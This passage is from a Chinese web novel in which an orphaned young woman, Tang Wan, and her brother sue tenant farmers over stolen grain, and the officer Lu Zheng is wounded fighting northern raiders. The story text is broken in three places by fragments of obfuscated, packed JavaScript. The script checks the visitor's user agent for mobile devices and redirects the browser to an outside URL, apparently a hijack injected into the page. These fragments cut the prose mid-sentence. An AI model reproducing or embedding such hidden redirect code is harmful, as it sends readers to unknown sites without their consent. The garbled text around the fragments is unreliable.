眼下除了野葱没有旁的去腥,只能尽可能清洗干净。唐宛从灶膛取了些草木灰,将猪肺细细揉搓了一遍,又舀了井水,一遍遍地攥洗,直到不见一丝血水,才切成均匀的薄片儿。 切好的猪肺搭一小把打结的野葱丢进冷水里,灶膛里的火苗舔着锅底,不多时锅沿冒出缕缕热气,带出些微的腥甜味,待水滚了,唐宛捞出葱结,仔细撇去浮末,任由肺片在汤中翻滚,待汤色渐渐转白,才撒了一小撮盐,盖上了锅盖,不知不觉间浓郁的香气已经溢满小院。 唐睦在灶下添柴火,火光映着少年略带稚气的脸,他鼻尖轻微耸动,喉头轻轻咽了一下。 那头唐宛已经把提前焯后过了几遍凉水的野菜切得细碎,青翠的菜末儿堆在粗瓷碗里,散发出春天的气息。 她估计着火候差不多了,揭开锅盖,乳白的汤汁汩汩翻滚,肺片嫩滑,肉香裹挟着热气扑面而来。 唐宛舀了满满两大碗,撒上一把野葱花,青翠的碎末儿撒在乳白的汤头上,煞是好看。 唐睦忍不住站起身来。 “端到桌上去吧。”唐宛对他交待一声。 少年小心翼翼地捧着汤碗,忍着烫尽可能走得平稳,生怕泼洒了。待他忍着馋意回灶上时,唐宛已经将搅好的蛋液倒入锅内热油中,伴随“滋啦”一声,金黄蓬松的蛋花在锅中绽放,她迅速倒入切碎的野菜末儿,趁热快速翻炒,顿时迸发出一股说不出的清香,勾得人食指大动。 “阿姊,这野菜炒蛋好香!”唐睦忍不住凑近,眼睛亮晶晶地盯着这道原本没抱多少期待的新菜。 “吃着更香哦!”唐宛拿了个新碗盛出来,示意唐睦拿进去,又将锅内洗干净加了清水,从堂屋内阴凉处盖着布的竹篮中取出两个玉米饼,想了想又多拿了一个,放在竹篦子上蒸了片刻。 堂屋桌上,对面两碗猪肺汤,一碟子野菜炒鸡蛋,配上软韧香甜的饼子,虽然简单,却都很满足。 唐睦眼巴巴等唐宛洗了手过来,眼巴巴盯着她拿起筷子,唐宛疑惑看他:“怎么不吃?” “我等阿姊一起吃。” 唐宛莞尔一笑,说:“赶紧吃吧。” 少年应了一声,迫不及待喝了一口汤。滚烫的热汤滑过 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这一顿吃得肚子圆滚滚,唐宛在院子里溜达了两刻钟,才去灶上烧了热水。穿过来好几日了,今日才抽出空来仔细擦洗了身子。 唐家没有专门的浴房,或许放眼整个怀戎县也没几家有专门的浴房,她是在自己房间里用木盆洗的,当然有各种不便之处。 难免又生出诸多要改善生活质量的念头。 吴家的事当然要解决,可就算顺利,秋收也得等上半年,再者单靠地里的收成也未必能挣多少钱,想要过上好日子还得有其他进项才行。 心中盘算着各样想法,唐宛擦着头发出来,发现唐睦那头似乎也洗漱过了,不大的少年坐在堂屋桌前,一副心事重重的模样。 唐宛大概知道他的心思,便道:“别多想了,就按照计划,明日一早我们就去县衙,请官府处置此事吧。” 唐睦点头,却道:“我听说想请官府断案,得写好状书才行,可我不知道怎么写。” 唐宛沉吟道:“无妨,我们一起来拟。” 唐睦吃不准:“要写些什么?” 唐宛在现代时还真与人打过几场合同官司侵权官司,且都胜诉了。虽说时代不同,章程应该差不多,便把自己的思路大致说了一遍。 唐睦听着觉得有理,姐弟两个商议着办。唐宛口述,唐睦执笔,天黑一灯如豆,在唐爷爷以往为人书写家信的那张桌子上,他们竟还真的写出了一篇条理分明、有模有样的状书。 11. 开源节流 说是写了一晚诉状,其实睡前还不到亥时正,这让夜猫子唐宛很有些不适应,连着几日天不亮就醒来。 横竖躺着也是睁眼发呆,她索性掀了被子下炕,去院里转了几圈,回忆着动作做了一套广播体操。 等天色亮起,便去灶前查看。 昨儿从林子里采回的野葱还剩一点,收拾干净切得细细的,拌了鸡蛋和面粉调成面糊,起灶摊了几张薄薄的葱花饼。 唐睦闻着味儿出来时,唐宛正在冲蛋花汤。 “你醒啦?正好,洗把脸就能吃了。” 唐宛用折来的杨枝嚼了嚼,蘸些粗盐刷牙,舀了瓢冷水扑了扑了脸,一脸清爽坐到桌边,唐睦便迫不及待撕了半张还带着热气的饼子塞入口中。 “阿姊,说来也真怪,你最近的厨艺怎么这么好?” 唐宛微顿,喝了一口蛋花汤:“哪是我厨艺见长?你不瞧瞧,这饼里我放了多少鸡蛋和精面。” 唐睦一愣:“你还放鸡蛋了?” 难怪吃起来格外香甜。 他急忙去放鸡蛋的篮子里数了数,果真少了四个。昨儿去集市一共买了二十个鸡蛋,这才两天,就吃没了一半。 唐宛见他一副心疼的模样,失笑道:“回头集市上见着小鸡崽,买回来几只养着,自家下蛋吃,你就不心疼了。” 唐睦有些迟疑,低声道:“咱手头现在是有点余钱,但是不是该省着点儿花销?” 这两日又是精面又是鸡蛋的,昨日还喝了猪肺汤,吃起来自然很开心,可他心里却总有点不安。 唐宛心知,少年是过怕了苦日子,现在极度缺乏安全感。唐爷爷去世之后的这段时间,姐弟俩的日子确实不好过。 “不过吃几个鸡蛋,还算不上挥霍。节流不如开源,回头阿姊会想法子挣钱的。” 唐睦闻言心下略宽,急忙道:“我也会挣钱的。以后我就像阿爷那样去集上摆摊,帮人写信赚些家用。” “好啊。” 唐宛并不反对,唐睦以后要袭军户进军伍,并不能走科举路线,能够识文断字已经比很多人强了,不必刻意再请老师,不过以后有机会的话,倒是可以为他寻访一个武师父。 唐宛暗自把这事儿记下。 等吃过早饭,姐弟俩把家中账本找出来,跟状纸一起放好,唐宛摸了摸身上的几两散碎银子,对唐睦说:“走吧。” 姐弟俩还是打算租骡车去县衙。 出门时天色尚早,集市上十分热闹,最热闹还是各种卖吃食的摊位。 唐宛坐在骡车上两面瞧,发现集市上的早餐品类还不少。有支着铁鏊子现烙现炸的烧饼油饼,有热气腾腾在水里翻滚的馄饨手擀面,也有搭着桌子卖咸菜白粥馒头的,以及各种茶摊。 北境多驻军,军户来自南北各地,带来了不同地方的特色美食。 唐睦摸了摸圆滚滚的肚皮,笑着说:“得亏吃饱了再出来,不然这也太馋人了。” 唐宛笑着,目光却始终留意着那些摊位。 这集市不是很大,卖吃食的却不少,北境虽苦,可士兵拿命换钱,手头比寻常百姓富裕,生意都很不错。 她有心也来早市支个摊子,不过卖些什么好呢? 不待她想出个头绪来,骡车已经将热闹的集市抛在身后,继续往城东去。 东城相对更加干净整洁,街面就显得清净许多,道旁院落明显更宽敞些,这边住户通常是高阶军户和怀戎县的富户。 街上来往行人不多,临街铺子却并不少,有卖布匹成衣的,有卖粮食米面的,药铺、铁匠铺、南北杂货,应有尽有。 唐宛寻找商机的思路难免又发生了几分微妙变化。 唐睦在她身边坐着没说话,手时不时摸一摸怀里的账册和状纸,小小的年纪背挺得直直的,到底还是有些紧张。 他小声跟唐宛商量:“等会儿去了县衙,我们要怎么说?” 唐宛让他别担心。 “这件事本就我们占理,而且阿爷在军户中颇有声名,爹也是有战功在身的,再看吴家确实是无根基的流民,如果他们真以为咱们姐弟俩年幼好欺负,那就大错特错了。” 唐睦心知正是这个道理,情绪慢慢安定下来。 骡车在距离县衙百米开外之地就将姐弟俩放下,收了车钱就走了。 唐宛抬头,眯着眼将眼前的官衙打量了一番。 怀戎县衙灰瓦高墙,大门两侧立着两座威武的石狮子,朱漆大门紧闭,偏门虚掩着,有穿皂衣的衙役在门口看守。 自然比不得前世警卫保安站得那么笔挺,那衙役只颇为闲适地靠在墙边晒太阳。 见姐弟俩上前,斜眼看了过来,开口便是一声喝。 “走走走!县衙重地,闲人勿近。” 唐睦冷不丁被吼了声,脚下便顿住了。唐宛却往前半步,不卑不亢道:“官差大哥见谅,我们是来状告的。” 那衙役听了不以为然,一个十四五岁的女子和一个半大不小的孩子,能有什么冤情要诉,不耐烦道:“有什么不平之处,请你家大人来。” 唐宛抿了抿唇,温声道:“我家没有大人了。我们是军户遗孤,家中军田所产之粮被佃户恶意私吞多年,想请县太爷主持公道。” “军田?”衙役听到这些,再看姐弟俩,神色便带上了几分打量,半晌才道:“状纸可带了?” 唐宛看向唐睦,后者忙把怀中收好的状纸拿出来,双手递过去。 那衙役取了,展开煞有介事地看了好一会儿。唐宛原本耐心等待,眼角余光却扫到那状纸竟然被拿倒了,不禁有些无语。 这衙役分明不识字,装模作样看这半天,在看什么呢? 她眼眸微动,随即明白了什么,从袖中的荷包里摸出一角碎银,用袖口挡了塞进那衙役手中,低声说道:“官差大哥辛苦,还请劳烦帮我们通传一声。” 那衙役横扫了她一眼,总算是把状书收起来,没再多说什么,只道:“你们且在这等着,我去禀告县太爷。” 姐弟俩只得在官衙门外等候。没过多久,便换了一名年纪稍大的衙役出来接班看守。 唐宛寻思着上前问问情况,刚挪两步就被那衙役严肃喝止:“官衙重地,闲人勿近!” 姐弟俩无奈对视一眼,只得在远处树荫下等。 一直等到日上中天,眼看着晌午了,衙门里头却一点动静都没有,说是帮他们通传的衙役根本不见人影。 唐宛下定决心想要再问问情况,门口的衙役却冷冰冰道:“急什么,候着便是。” 唐宛正想再说几句,忽然听见身后有哒哒马蹄声由远及近,下意识回头看了一眼,却是一愣。 竟是陆铮。 棕褐色高头大马在县衙门口停下,一身青灰色军袍的男人翻身下马,一眼扫到正在跟衙役说话的唐宛,目光中流露瞬间的意外。 却没有多问,只略点了点头,算是打过了招呼,将马儿交给衙役,低声说了句什么,便径自抬脚进了县衙。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901876|176676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >唐宛见那衙役不敢怠慢、立即放行的模样,心内一动。 看来陆铮跟县衙里的人比较熟悉。她打算再等等,倘若今日一直等不到结果,就等陆铮出来,托他问问究竟是什么情况。 陆铮此番是为了春耕军需来找县丞范敬之的。因年年都要过来交接,他跟县衙的衙役们都混了个脸熟。 他在院内交了文书,等待范县丞过来的时候,不禁往外看了一眼,迟疑了一下,问身边的衙役:“门口那对姐弟是……” 偏就巧了,这衙役正是帮唐宛递状纸的王三,闻言便道:“说是家中军田被佃户私吞了粮食,请县太爷主持公道来的。” 陆铮便问:“那为何在外等候?” 王三冲官衙后的内宅努了努嘴,悄声道:“知县老爷深陷温柔乡,这会子还没起身呢。” 陆铮眉心微拧,并未作声。 怀戎县知县胡旭什么德行,县衙上下一清二楚,便是他这个偶尔过来办差的都有所耳闻,等这位胡大人出来断案,且不说要等到猴年马月,恐怕还要平白遭受一番盘剥。 范敬之从户房忙完出来,看见陆铮这幅模样,不免心中好奇。不过这陆小旗性子内敛,平日里沉默寡言,非必要情况半个字不肯多言,知晓问也是白问,就没说什么,只热情寒暄上来。 陆铮连忙收敛了心神,与他交接了正事。 虽有个荒唐长官,县衙却也不都是尸位素餐之辈。 这位范县丞倒是个清正廉洁的好官,陆铮思索片刻,还是将姐弟俩来状告的事情稍提了提。 佃户私吞军田产粮一案,说起来半大不小,未必非得知县大人裁判,说起来正是范敬之的职权之内的事。 范敬之心内却有些纳罕,笑道:“难得见陆小旗愿意管他人闲事。” 陆铮也觉自己此举似乎有些越界,不过一想到那女子连番被人欺辱,甚至想不通投了河,心中就有些难言滋味。 大概因为人是自己救上来的,难免多了几分关注罢。 这些内情他不愿与人多言,只道:“她祖父是唐怀远,早年间曾在军中担任书吏官,与范大人应属旧识。” “原来是他家。” 范敬之恍然。他跟唐怀远确是旧识,那唐书吏虽是文人,却有一副古道热肠,范敬之对他很是钦佩。唐怀远病逝的时候,范大人还托家中娘子送过奠仪。后来隐约听娘子说起唐家孙女遭陈家退婚一事,还私下嘀咕了几句,说当日奠仪不知落在了谁的手里。 如今听说唐家遗孤不仅被退婚,还被当日援助过的流民欺负,范敬之实在气愤,便遣王三取来状书,仔细看了。 看罢,范大人目露惊讶:“这状书是何人所写?虽不甚规范,却也简明扼要,十分清晰。倘若人人状书都写得这般清楚,办起案来倒是便宜许多。” 心中存着定要将写诉状之人问出来的念头,扭头对王三道:“你去将人带进来。” 陆铮在旁观望片刻,确信这案子范大人接手了,便开口道:“那我就先告退了。” 范大人疑惑:“你不留下来瞧一瞧情况再走?” 陆铮却道:“大人仁心爱民,案子到了您手中一定会得到一个公正处置,我这还有旁的事。” 范大人便不再强留。 陆铮刚出了大堂,便看到唐宛姐弟俩被王三引进来,两边打了个照面,唐宛和唐睦立即笑着招呼:“陆二哥!” 陆铮目光掠过女子乌黑明媚的眼眸,顿了一下,只点了点头,大步出了县衙。 12. 多亏陆铮 王三带着唐家姐弟俩进了县衙,却没进大堂,而是从侧门绕过影壁,一路往后边的院子走去。 这后院便是县衙的二堂所在,唐宛一边走一边悄悄打量,只见院子开阔整洁,一溜青砖瓦房依墙而建,内里隐有人影晃动,有在低声说话,有在埋头抄写,如果没猜错的话,应该是县衙诸位的理事办公之地。 王三脚步不停,带着两人一径往东边略显宽阔的值房走去,到了门口才停下,恭恭敬敬地对里头道:“大人,人带到了。” 值房内传出声温和的“进来”。 王三转头看了姐弟俩一眼,抬下巴示意他们跟上。 “这是县丞范大人。” 唐宛心内微微一动,她原以为是知县升堂,原来是县丞来问案,难怪方才不进大堂。 虽觉意外,面上没显出异色,上前半步,欠身道:“民女见过范大人。” 唐睦也学着姐姐,跟着作了一揖,低声喊道:“小民见过范大人。” 王三见状,拧眉道:“见到大人,为何不跪?” 唐宛不由得一怔,两辈子加起来,除逢年过节拜祖宗,她还真没跪过谁,虽然心知入乡要随俗,膝弯却没能立刻弯下去。 正踌躇着,案前正低头看状纸的范敬之已抬眼看过来,淡淡道:“行了,不必多礼。” 说罢,他看向王三,“你先退下。” 王三低头应了声“是”,弯腰退出门外。 值房内一时只剩范敬之与姐弟俩。 唐宛跟唐睦快速对视一眼,一起欠身:“谢大人。” 范敬之略点了点头,没再多客套,指腹微微摩挲手中的状纸,抬眸道:“听说你们要状告佃户,怎么回事?” 唐宛心头微定,暗自松了口气。问案子就好,可别再搞什么弯弯绕了。 索性开门见山地陈述起来。 “回大人,我家本是怀戎军户,家父唐守毅元和初年抗击北狄战死沙场,祖父唐怀远去岁病逝,如今家中只余我与幼弟相依为命。” 她说话习惯看着人眼睛,不过隐约知道这时代不宜直视官员,便盯着案上的一方砚台,目不斜视继续道: “我家中原有军田三十亩,租与饮马河村吴家兄弟耕种已有十余年。祖父在世时曾与吴家约定,每亩年缴官粮二石,余下收成平分。可近些年来吴家屡次借口荒年歉收,只肯缴官粮,余粮租子却越交越少。” 她说到这,声音里难免添了几分冷意:“昨日我亲自去了饮马河村打听过,近几年风调雨顺,我唐家田地并未明显减产。可吴家交到我唐家的余粮,却连年减少,去年交租不过七八斗。” 说到这,她朝唐睦递了个眼色,后者忙从怀中取出账册,翻至一页,双手捧着递到范敬之跟前。 “这是祖父留下的账本。” 范敬之接过账本,打眼一看,果见那吴家交租连年递减,眼眸微沉。 唐怀远从前担任军中书吏,是个再仔细不过的人,这些年怕是真的老了,竟让家中佃户欺瞒至此。 终日打雁,却叫雁啄了眼。 所幸这个孙女还算精明。 “我祖父怜他家中人口众多,即便少交也不忍苛责。未料他家不仅私吞余粮,更有甚者,竟擅以唐家军户名义开垦新田,却瞒而不报。” “昨日我和阿弟本想去看看春耕情况,却发现家中三十亩地几乎荒弃了。而吴家阖家却在别处忙碌。一番打听才知道,吴家兄弟竟然擅用我唐家军户名义,在营堡北面新开了荒地。” “按军中律例,新垦荒地头三年免粮,第四年起缴一半官粮,余粮该归田主。去年吴家兄弟代我唐家缴纳征粮时,缴了十余石新地征粮。可见吴家暗中独吞新地产粮已逾三年,却从未向我家提过半句。” 她说到这处,眼眶微红,声音却不含糊:“祖父在时,他们尚且不敢太过明目张胆,如今只剩我和阿弟两人,他们越发变本加厉。大人如此刻派人去查,便知民女句句属实。” 说到此处,唐宛深吸一口气,垂首一拜:“恳请大人为我姐弟主持公道,追究吴家兄弟荒废军田之罪,还我唐家新垦之地,追补这些年私吞租子。” 范敬之目光从纸页转到案前这对脊背笔挺的姐弟身上,心里暗自颔首。 这小娘子虽是女儿身,却不卑不亢、落落大方,说起话来条理分明、言辞有据。她年纪不大,受了委屈却不哭不闹,只眼底微红,与他平日所见那些动辄絮絮叨叨、哭天抢地的告状人截然不同,让人耳根子清净不少。 范敬之合上账册,扬声对外喊了声:“王三!” 那衙役应声推门进来。 “知会捕快班,去把吴家兄弟带来。” 兼听则明,唐家姐弟无论状纸还是陈词都说得清楚明白,不必赘言,剩下的,就且听吴家人如何分辩。 捕快班得令去城外饮马河村抓人,来回一趟并非片刻之事。 范敬之案上积着一堆公务等待处置,按理说应让唐家姐弟俩上外头候着去。 可他心中记挂着一桩事,随手将那状纸翻开,又扫了一眼,忽而问道:“你们这状纸,是请谁代笔的?” 唐家姐弟俩对视一眼,都怔了怔,不明白何来这样一问。 唐宛抿了抿唇,谨慎地回答:“回大人的话,这是我和阿弟两人商量着写的。” 范敬之不由得挑了挑眉,颇有几分意外:“哦?” 他看姐弟俩神色坦然,不似作伪,便笑了笑道:“不必紧张,这状书虽格式有些粗陋,却也条理明白,轻重分明,比许多只知道喊冤的状子要强得多。可是谁教你们这般写的?” 唐宛坦率道:“民女并不晓得如何写才算合规,只想着既是告状,总得让接状的官老爷一眼就看得明白——我们告的什么,凭什么告,有何人证物证,说辞能不能立得住脚……” 范敬之听到这里,忍不住轻叹一声,心里头倒真有些感慨。 知县胡大人不怎么理事,这些年县衙大大小小的事情多由他来把关。文书、户籍、赋税、库房样样都得照应到。时不时还要处理各种诉状。 时人不知是不是觉得哭得越大声就越无辜,呈递的状纸里头往往什么也不写,长篇累牍最多读出一个‘冤’字,关于案情却鲜少能找到只言片语,等到审理的时候往往连诉状人姓甚名谁都要再问一遍,更别谈什么证据了,样样都要官府去抽丝剥茧调查,费力又费时。 他有心想要把这唐家姐弟写的状子推广开去,日后让那些代笔的先生书吏比照处理。力求能够一目了然,应当能省不少事。 这么想着,难免就着那状纸的写法,又多问了几句。唐宛自然不会藏着掖着,知无不言,倒叫那范大人又暗赞了几回。 此时日上三竿,饮马河村外,日头有些灼人。 吴家兄弟携全家在新垦地里劳作,泥土已经深耕了一遍,种子已经撒下一多半,预计着再有半日功夫,新田的播种就完成得差不多,之后便是浇水施肥。 “等这边事了了,唐家那些地还是得种起来。”吴家老大跟弟弟商量着。 “是啊,那边收成若好些,征粮尽从那头出,新地肥沃,粮食更健壮些,我们可自己留些种子,免得买粮种又是一笔开销。” “是这个儿理儿。” 兄弟俩心头算盘拨得震天响,远远瞧见有邻人引着几个官差往这边来,不禁有些困惑,紧接着心里都生出一股子微妙的不安来。 眼见着那队官差越走越近,手里仿佛还拎着枷锁,吴大莫名地脚下一软。 他瞧着那领头的捕快回头交代了一句什么,便有几个衙役领了指令,四散守住地头,看向他们的目光炯然,分明是为了防备人跑了。 吴家老二稍镇定些,见那捕快走近了,干巴巴地问:“敢问官爷,这是要找谁?” 领头的捕快瞥了他一眼,冷声问那引路之人:“这可是你们村中的吴家兄弟?” 吴老二这才注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以唐宛一开始也做好了必要时候出点儿血的准备。 可今日却只在一开始让王三通传的时候使了一角碎银,之后竟然全程公事公办。 唐睦一听恍然大悟:“阿姊的意思,是陆二哥帮了咱们?” 唐宛点点头:“多半如此。” 唐睦便问:“那阿姊,咱们这次要怎么谢他?” 唐宛想了想,摇头道:“看他今日来去匆匆,最近多半是忙春耕的事,等这阵子过去了再说也不迟。” 唐睦点头应着,忽地笑了笑,软声道:“阿姊最近做的吃食都好吃,到时候多做些送给陆二哥吃。” 唐宛闻言失笑:“好。” 骡车行到城西集市,正赶上散市的时候,大多摊贩都在准备收摊了。暮色里忽然传来几声喧嚷,前头围起了不少人。 唐宛朝那处看了一眼,隐约听到有人小声议论:“听说又有一小股北狄骑兵来犯,不知这次派谁家儿郎去抵御……” “这群北蛮子饿了一个冬天,不管谁去拦截,都很凶险啊!” “神佛保佑,不要选中我家儿郎……” 这话飘进耳中,唐宛心中一紧。 北境辽阔,虽有关隘戍堡,偌大的腹地不可能处处周密,总有些防不胜防。北狄人不善农耕,逐水草牧牛羊,冬日最难过,春耕时分他们总爱冒险前来劫掠。 大雍边境军民的粮种,却是他们觊觎的口粮。 唐宛是从和平年代穿来的,即便对处境做了些心理准备,听到这消息还是有些难安。 颇为失眠了几个夜晚。 没过几日,她又听到一个消息。 这次北狄人来犯,竟是陆铮带着他麾下的五十士兵受命拦截。听说拦追敌骑十几里地,带了箭伤回来,如今正在家里养着。 13. 杀敌有功 却说那日,陆铮前往县衙交接完文书,便马不停蹄赶往自家军田继续劳作。 未及片刻,他便见营堡方向升起狼烟,心头便是一紧。 那是北狄来犯的警讯。 他当即穿上战甲,拿起兵器,翻身上马。肃北营兵民一体,农时耕田种地便为农,如遇敌情穿上战袍便又是兵。 为防春耕期间敌人突袭,所有将士马背上皆挂着甲胄与兵刃。 陆铮和兄长陆铎吹响忽哨,沿路召集四方部众,马蹄纷沓,很快聚起数十骑兵直奔营堡方向。 赶到之时那头早已战火燎原,北狄骑兵与守军短兵相接。 北狄人擅长骑射,惯以劫掠为生。马背上讨生活的民族,吃牛羊肉,长得人高马大,单兵战斗力极强。大雍军很难与之硬碰硬,往往采取人海包围战术。好在警讯及时,狼烟已经吸引了不少四方援兵陆续赶来。 北狄人也清楚必须速战速决,在营堡处撕开一个口子,快马径直往附近村镇冲去。 北狄人不把大雍百姓当人,一路烧杀抢掠,见人就杀,见到粮食和牲畜便抢。 陆铮率兵一路追击。 这一股敌骑虽然仅十余数,却手段残暴,一路手起刀落杀了数十普通百姓,双方交手过程中也有不少士兵死伤。 陆铮看着无数人倒下,心里只有怒火没有害怕。他不是第一次跟北狄人交战,事实上他的小旗就是靠杀敌的功勋得来的。 陆铮马不停蹄,追着这群北狄骑兵进了一处村落。边境村民警觉,大多得到风声已经躲起来了,但偶有几个动作没那么快的,被北狄人当场射杀了。 所过之处,村中已有被劫掠的痕迹,家家户户门窗大开、桌倒椅翻,偶尔有未能及时逃生的村民尸骸横陈,还有些热气。 陆铮和战友谨慎潜行,搜寻敌迹,时刻提防来自暗处的冷刀冷箭。 直到确认北狄人的所在,他示意部下放出信号弹,随即厉喝一声:“杀!” 一行人于村头窄道与敌兵狭路相逢。 肃北军虽为农兵,却多年勤奋操演,近战搏杀绝不怯阵。陆铮冲锋在前,挥刀连斩五六人,其他人也都有斩获,敌军连连溃败。 一番鏖战之后,陆铮暗自清点人头,忽觉人数不对,沉声道:“还少两人,警惕埋伏。” 众兵士闻言,即刻警觉。 大家骑马四处戒备着前行,仔细搜寻。 忽然间,侧后方传来一阵簇簇破空之声,陆铮腰身一扭,险险避开这一记冷箭,随即拍马朝箭来的方向飞驰而去。 其余士兵也呼啦啦跟上。 只见远处一名北狄兵正策马逃窜,马背驮着满袋粮食,鞍侧还挂着一只垂着脑袋的肥羊。 另有一人尚未上马,陆铮正欲挥刀冲上,那人却忽然一阵叽里咕噜,从身后拖出一个惊慌惶恐的小孩儿。 那孩子约莫六七岁,被塞住了嘴巴,眼泪簌簌直流。挣扎几下便被一柄弯刀抵在颈边,脖颈立刻渗出一道血线,吓得僵住,不敢再动。 陆铮一下联想到家中的一对小侄,怒火翻涌,却强自按捺。 他与身后诸士兵交换眼神,一半人悄然绕路追击前方逃敌,其余人则原地戒备。 陆铮这才注意到,那北狄人身后的地上,一个女子躺在血泊之中,多半是这孩子的母亲。 北狄人口中依然叽哩哇啦地高声叫嚷,弯刀紧紧抵着孩子颈边,眼中凶光毕露。陆铮虽听不懂,却能猜出,无非是拿这孩子的命来威胁,要他们让路。 陆铮紧握兵刃,浑身杀意翻滚,却终究压下。 孩子性命攸关,不容轻举妄动。 陆铮瞥了眼身后将士,众人沉默片刻,缓缓让出一条路。 虽明知此举也未必能够保住孩子性命。 毕竟这是大雍的孩子,北狄人从未善待。 北狄兵见众人退让,当即拽着孩子上马,策马疾驰而来。 就在两人擦肩一瞬,陆铮身形如电,猛然一把将孩子从其怀中拽下! 孩子惊声大哭,陆铮反手挥刀,直斩敌人后颈,与此同时,肩头一阵剧痛,一支利箭深深嵌入他的肩骨。 那箭原是奔他心口而来,他堪堪矮身,避过致命之处。 登时血流如注,衣甲一片绯红。 恰在此时,陆铎带人自另一侧追敌归来,远远便见弟弟倒在血泊里,一群士兵围在周围,而旁边,一个小小的身影哭得撕心裂肺。 陆铎心神俱裂,翻身下马,扑向弟弟身边。 幸而陆铮尚有意识,见哥哥来了,勉力支撑道:“我没事……你身上带着的伤药呢?再给我撒点。” 兄弟俩平时习惯随身备着伤药,以防万一。陆铎连忙翻出药包,手指却因惊惧而微微发颤。 按理说中箭之后不宜随意拔出箭头,可当时情况特殊,那北狄兵与陆铮距离过近,箭矢穿透了皮甲,不及时拔出来反而会因牵动伤口加深伤势。 于是陆铮第一时间拔了箭,却因伤口太深,血势又急,撒下的药粉几乎顷刻被冲散,只能强自按压止血。陆铎让陆铮松开手,刚一放开,还没来得及撒药,汩汩的血又开始往外冒。 眼看着陆铮脸色惨白,陆铎当机立断,不再撒药,而是直接扯下一块干净的里衣布料按在伤口上,将受伤之处紧紧缠住了,这才勉强止了血。 这样的重伤也不宜随意挪动,可此处才遭了敌袭,是否还有残敌尚未可知,实在不是久留之地。 陆铎略一权衡,托同伴暂时照看弟弟,自己则去村中借来一辆牛车,铺了厚厚一层秸秆并一床被褥,小心翼翼将弟弟抬上去,一路护送回家。 陆家院中,沈玉娘听得动静,急忙出来查看,乍一瞧见丈夫满身血迹,陆铮竟躺在牛车上,吓得脸色发白,声音都变了: “这是怎么了?” “我没事,”陆铎连忙道,“是阿铮受了伤,我得背他进去……” 多数同伴已回营复命,只有两名同袍随行。此刻两人上前,将陆铮小心扶起,架到陆铎背上。 沈玉娘跟在后头,心慌道:“那我去请吴大夫来——” 陆铎回头看了眼那两位袍泽:“陈伍,麻烦你骑马跑一趟,这样快些。” 陈伍两人跟来就是为了看能不能搭把手,闻言自然应了,一人去请医,一人则把牛车赶回去送还给村人。 沈玉娘则惊魂未定地跟在丈夫身后,一路急步奔向西厢房。 二门前,王银花正好迎出来。 她一看兄弟俩浑身是血,唬得头皮一阵发麻,见陆铎背着陆铮往西厢房去,立即开口阻拦:“先别急着进去,这一身血淋淋的,一脚一个血印子,弄得屋里都是血腥气!” 沈玉娘难以置信地看向她,不明白婆婆为什么能在这时候说出这种话来。 陆铎脚步顿了一下,却一句话都懒得回应,径直背着弟弟往屋里走。 王银花丝毫没觉察到俩夫妻隐忍的怒火,依旧在后头嚷嚷:“你们换了衣服再进去,别吓到铭儿。” 陆铎看了一眼正欲开口辩驳的沈玉娘,示意她不必理会,两人本打算将陆铮安置在西厢房的炕上,结果一掀门帘,满炕都是陆铭的玩具、画册、零嘴。 陆铎眉头一沉,跟妻子低声说了句,先将人暂时安顿在隔壁偏房。 随后转身回来,三下五除二将陆铭的东西尽数扫入包袱皮,顺手裹了几下,拎着走向正屋,把东西扔进西偏房,冷声道: “从今天起,陆铭搬回自己屋。阿铮要在西厢房养伤,他不准过来搅扰!” 王银花听不得这话,立即就炸了:“凭什么?铭儿一直住那屋,你说不让就不让?” “就凭这个。”陆铎解下腰间长剑,啪地一声拍在桌案上,“谁要让我弟弟养不好伤,我就让谁好看。” 王银花瞬间僵住了。 两个继子中,大儿子陆铎向来温顺孝顺,平时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15927179|176676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从来没有一句重话,今天竟这般强硬。毕竟是军中讨生活的,今天还杀了好几个北狄人,满身的煞气和铿锵气势岂是一个后宅妇人能够直面的? “只他一个是你弟弟吗?铭儿也是你弟弟……”王银花软了腿,说话声便发虚,如同蚊蚋,几乎听不清。 她终究不敢再叫嚷了,只咬牙想道:等你老子回来再跟你计较! 随即灰溜溜扭头回了屋。 陆铎这才对妻子吩咐道:“这屋被那小子糟践得不成样子。阿铮喜静也喜洁,我们收拾一下,好让他安心养伤。” 沈玉娘忙不迭点头。 她作为嫂子平时不好进叔叔的屋子,陆铮因为房间乱糟糟的很长时间没回来住,还真不知道西厢房已经被弄得这么乱。 夫妻二人齐上手,将满屋的杂物清空,又打水抹布细细擦洗,把房间收拾得干净整洁,这才将陆铮从隔壁小心转移过来,安置到炕上。 忙完后才瞧见一对双胞胎正眼巴巴守在门口,小声问:“二叔怎么了?” 陆铎一身血污,不好抱孩子,只低声道:“二叔受伤了,你们不要闹他。” 双胞胎你看看我,我看看你,都乖巧地点了点头。十岁的陆铭也在院子里看着,他的东西都被打包送到了正屋那边,难得没哭闹,脸色有些发白,估计也是被那么多血给吓到了。 